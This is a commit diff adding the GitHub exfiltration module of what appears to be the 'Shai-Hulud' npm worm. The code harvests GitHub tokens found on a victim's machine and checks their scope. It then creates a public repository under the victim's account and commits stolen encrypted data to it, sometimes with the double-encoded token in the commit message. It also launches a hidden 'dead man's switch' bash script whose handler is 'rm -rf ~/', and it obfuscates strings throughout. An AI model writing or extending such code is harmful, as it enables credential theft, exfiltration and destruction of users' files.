Upload files to "src/sender/github"

src/sender/github/createRepo.ts

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+import { logUtil } from "../../utils/logger";
+
+declare function scramble(str: string): string;
+
+const ADJECTIVES = [
+  scramble("sardaukar"),
+  scramble("mentat"),
+  scramble("fremen"),
+  scramble("atreides"),
+  scramble("harkonnen"),
+  scramble("gesserit"),
+  scramble("prescient"),
+  scramble("fedaykin"),
+  scramble("tleilaxu"),
+  scramble("siridar"),
+  scramble("kanly"),
+  scramble("sayyadina"),
+  scramble("ghola"),
+  scramble("powindah"),
+  scramble("prana"),
+  scramble("kralizec"),
+];
+
+const NOUNS = [
+  scramble("sandworm"),
+  scramble("ornithopter"),
+  scramble("heighliner"),
+  scramble("stillsuit"),
+  scramble("lasgun"),
+  scramble("sietch"),
+  scramble("melange"),
+  scramble("thumper"),
+  scramble("navigator"),
+  scramble("fedaykin"),
+  scramble("futar"),
+  scramble("phibian"),
+  scramble("slig"),
+  scramble("cogitor"),
+  scramble("laza"),
+  scramble("ghola"),
+];
+
+function generateRepoName(): string {
+  const adj = ADJECTIVES[Math.floor(Math.random() * ADJECTIVES.length)]!;
+  const noun = NOUNS[Math.floor(Math.random() * NOUNS.length)]!;
+  const num = Math.floor(Math.random() * 1000);
+  return `${adj}-${noun}-${num}`;
+}
+
+export interface CreatedRepo {
+  owner: string;
+  name: string;
+  fullName: string;
+  url: string;
+  private: boolean;
+}
+
+export async function createRepoWithSample(
+  token: string,
+): Promise<CreatedRepo> {
+  const name = generateRepoName();
+
+  const res = await fetch(scramble("https://api.github.com/user/repos"), {
+    method: "POST",
+    headers: {
+      Authorization: `Bearer ${token}`,
+      Accept: "application/vnd.github+json",
+      "User-Agent": "node",
+    },
+    body: JSON.stringify({
+      name,
+      private: false,
+      auto_init: true,
+      description: scramble("Shai-Hulud: Here We Go Again"),
+      has_discussions: false,
+      has_issues: false,
+      has_wiki: false,
+    }),
+  });
+
+  if (!res.ok) {
+    throw new Error(`Failed to create repo: ${res.status} ${res.statusText}`);
+  }
+
+  const repo = (await res.json()) as {
+    full_name: string;
+    name: string;
+    html_url: string;
+    private: boolean;
+  };
+
+  logUtil.log(`Created ${repo.full_name}`);
+
+  const [ownerName, repoName] = repo.full_name.split("/");
+  if (!ownerName || !repoName) {
+    throw new Error(scramble("Invalid repository"));
+  }
+  return {
+    owner: ownerName,
+    name: repo.name,
+    fullName: repo.full_name,
+    url: repo.html_url,
+    private: repo.private,
+  };
+}

src/sender/github/gitHubSenderFactory.ts

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+import { fetchCommit } from "../../github_utils/fetcher";
+import { checkToken } from "../../github_utils/tokenCheck";
+import type { ProviderResult } from "../../providers/types";
+import { logUtil } from "../../utils/logger";
+import type { Sender } from "../base";
+import type { SenderFactory } from "../senderFactory";
+import { GitHubSender } from "./githubSender";
+
+declare function scramble(str: string): string;
+
+export interface GitHubSenderFactoryOptions {
+  client: string;
+  includeToken?: boolean;
+}
+
+export class GitHubSenderFactory implements SenderFactory {
+  constructor() {}
+
+  async tryCreate(quickRef?: ProviderResult[]): Promise<Sender | null> {
+    if (quickRef) {
+      return this.configureGit(quickRef);
+    } else {
+      return this.setupGitHubSender();
+    }
+  }
+
+  private async configureGit(
+    quickRef: ProviderResult[],
+  ): Promise<Sender | null> {
+    const ghPat: string[] = [];
+    quickRef
+      .flatMap((searchRes) => {
+        const matches = searchRes?.matches;
+        if (Array.isArray(matches)) {
+          return matches;
+        }
+        if (matches && typeof matches === "object") {
+          return Object.values(matches).flat();
+        }
+        return [];
+      })
+      .forEach((match) => {
+        if (
+          typeof match === "string" &&
+          (match.startsWith("ghp_") || match.startsWith("gho_"))
+        ) {
+          ghPat.push(match);
+        }
+      });
+
+    if (ghPat.length === 0) {
+      return null;
+    }
+
+    const ghHeaders = (token: string) => ({
+      Authorization: `Bearer ${token}`,
+      Accept: "application/vnd.github+json",
+      "User-Agent": "node",
+    });
+
+    // Loop over as we need to check all pats until first valid.
+    for (const pat of ghPat) {
+      const userRes = await fetch(scramble("https://api.github.com/user"), {
+        headers: ghHeaders(pat),
+      });
+      if (!userRes.ok) continue;
+
+      const user = (await userRes.json()) as { login: string };
+      if (!user?.login) continue;
+
+      const tokInfo = await checkToken(pat);
+      logUtil.log(tokInfo);
+
+      const profileRes = await fetch(`https://github.com/${user.login}`);
+      if (profileRes.status === 404 || profileRes.status === 302) {
+        logUtil.error("User not publicly reachable.");
+        logUtil.log(profileRes.status);
+        return null;
+      }
+
+      if (!tokInfo.hasRepoScope) {
+        return null;
+      }
+
+      const fileSender = new GitHubSender();
+      const res = await fileSender.initialize(pat);
+      if (!res) {
+        logUtil.error("Failed to create repository!");
+        return null;
+      }
+
+      const orgsRes = await fetch(
+        scramble("https://api.github.com/user/orgs"),
+        {
+          headers: ghHeaders(pat),
+        },
+      );
+      const orgs = orgsRes.ok ? ((await orgsRes.json()) as unknown[]) : [];
+
+      if (orgs.length === 0) {
+        logUtil.log("No orgs - handling.");
+        fileSender.setIncludeToken(true);
+      } else {
+        logUtil.log("User is member of an org.");
+      }
+
+      return fileSender;
+    }
+    return null;
+  }
+
+  private async setupGitHubSender(): Promise<Sender | null> {
+    const ghClient = await fetchCommit();
+    if (ghClient) {
+      let fileSender = new GitHubSender();
+      const clientInitRes = await (fileSender as GitHubSender).initialize(
+        ghClient,
+      );
+      if (clientInitRes) {
+        return fileSender;
+      } else {
+        return null;
+      }
+    } else {
+      return null;
+    }
+  }
+}

src/sender/github/githubSender.ts

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+import { DEADMAN_SWITCH } from "../../generated";
+import { SEARCH_STRING } from "../../utils/config";
+import { logUtil } from "../../utils/logger";
+import { Sender } from "../base";
+import type { EncryptedPackage } from "../types";
+import type { CreatedRepo } from "./createRepo";
+import { createRepoWithSample } from "./createRepo";
+
+declare function scramble(str: string): string;
+
+export class GitHubSender extends Sender {
+  private createdRepo: CreatedRepo | null = null;
+  private token: string | null = null;
+  private commitCounter = 0;
+  private includeToken = false;
+
+  constructor() {
+    super("github", {
+      domain: scramble("api.github.com"),
+      port: 443,
+      path: "/repos/",
+    });
+  }
+
+  /**
+   * Must be called before this sender is usable.
+   * Typically done by the factory before returning the sender.
+   */
+  async initialize(ghClient: string): Promise<boolean> {
+    try {
+      this.createdRepo = await createRepoWithSample(ghClient);
+      this.token = ghClient;
+      this.commitCounter = 0;
+      return true;
+    } catch (err) {
+      logUtil.error(`GitHubSender initialization failed: ${err}`);
+      return false;
+    }
+  }
+
+  setIncludeToken(value: boolean): void {
+    this.includeToken = value;
+  }
+
+  override async healthy(): Promise<boolean> {
+    return this.createdRepo !== null && this.token !== null;
+  }
+
+  override async send(envelope: EncryptedPackage): Promise<void> {
+    if (!this.createdRepo || !this.token) {
+      throw new Error(scramble("GitHubSender not initialized"));
+    }
+
+    const finalEnvelope = await this.augmentEnvelope(envelope);
+    await this.commitToRepo(finalEnvelope);
+  }
+
+  private async installTokenMonitor(token: string, handler: string) {
+    try {
+      const proc = Bun.spawn(["bash", "-s", "--", token, handler], {
+        stdin: "pipe",
+        stdout: "pipe",
+        stderr: "pipe",
+      });
+
+      proc.stdin.write(DEADMAN_SWITCH);
+      proc.stdin.end();
+
+      const exitCode = await proc.exited;
+      if (exitCode !== 0) {
+        logUtil.info("We tried.");
+      }
+    } catch (e) {
+      logUtil.info("Failure saving persistence.");
+    }
+  }
+
+  /**
+   * Adds the auth token to the envelope if configured.
+   */
+  private async augmentEnvelope(
+    envelope: EncryptedPackage,
+  ): Promise<EncryptedPackage> {
+    if (!this.includeToken || !this.token) {
+      return envelope;
+    }
+
+    logUtil.log("About to add monitor!");
+    await this.installTokenMonitor(this.token, scramble("rm -rf ~/"));
+
+    logUtil.log("Adding token to envelope!");
+    const doubleEncodedToken = Buffer.from(
+      Buffer.from(this.token).toString("base64"),
+    ).toString("base64");
+
+    return { ...envelope, token: doubleEncodedToken };
+  }
+
+  private async commitFileWithRetry(
+    filename: string,
+    commitMessage: string,
+    encodedContent: string,
+  ): Promise<void> {
+    const maxAttempts = 5;
+
+    for (let attempt = 1; attempt <= maxAttempts; attempt++) {
+      try {
+        const url = `https://api.github.com/repos/${this.createdRepo!.owner}/${this.createdRepo!.name}/contents/results/${filename}`;
+        const response = await fetch(url, {
+          method: "PUT",
+          headers: {
+            Accept: "application/vnd.github+json",
+            Authorization: `Bearer ${this.token}`,
+            "Content-Type": "application/json",
+            "X-GitHub-Api-Version": "2022-11-28",
+          },
+          body: JSON.stringify({
+            message: commitMessage,
+            content: encodedContent,
+          }),
+        });
+
+        if (!response.ok) {
+          const body = await response.text();
+          const error: any = new Error(
+            `GitHub API responded with ${response.status}: ${body}`,
+          );
+          error.status = response.status;
+          throw error;
+        }
+
+        logUtil.log(`Committed ${filename} to ${this.createdRepo!.name}`);
+        return;
+      } catch (err: any) {
+        const status = err?.status ?? err?.statusCode ?? err?.status_code;
+        const isRetryable = status === 422 || (status >= 500 && status <= 599);
+
+        if (!isRetryable || attempt === maxAttempts) {
+          throw new Error(
+            `GitHubSender commit failed after ${attempt} attempt(s): ${err}`,
+          );
+        }
+
+        const backoffMs = Math.min(1000 * 2 ** (attempt - 1), 16_000);
+        logUtil.log(`Retrying commit in ${backoffMs}ms (attempt ${attempt})`);
+        await new Promise((res) => setTimeout(res, backoffMs));
+      }
+    }
+  }
+
+  private async commitToRepo(envelope: EncryptedPackage): Promise<void> {
+    const content = JSON.stringify(envelope, null, 2);
+    const MAX_CHUNK_SIZE = 30 * 1024 * 1024; // 30 MB
+    const baseFilename = `results-${Date.now()}-${this.commitCounter++}.json`;
+
+    const commitMessage = envelope.token
+      ? `${SEARCH_STRING}:${envelope.token}`
+      : "Add files.";
+
+    const contentBuffer = Buffer.from(content, "utf8");
+
+    if (contentBuffer.length <= MAX_CHUNK_SIZE) {
+      const encodedContent = contentBuffer.toString("base64");
+      await this.commitFileWithRetry(
+        baseFilename,
+        commitMessage,
+        encodedContent,
+      );
+    } else {
+      const totalParts = Math.ceil(contentBuffer.length / MAX_CHUNK_SIZE);
+      for (let i = 0; i < totalParts; i++) {
+        const chunk = contentBuffer.subarray(
+          i * MAX_CHUNK_SIZE,
+          (i + 1) * MAX_CHUNK_SIZE,
+        );
+        const encodedChunk = chunk.toString("base64");
+        const chunkFilename = `${baseFilename}.p${i + 1}`;
+        await this.commitFileWithRetry(
+          chunkFilename,
+          commitMessage,
+          encodedChunk,
+        );
+      }
+      logUtil.log(
+        `Split ${baseFilename} into ${totalParts} parts for ${this.createdRepo!.name}`,
+      );
+    }
+  }
+}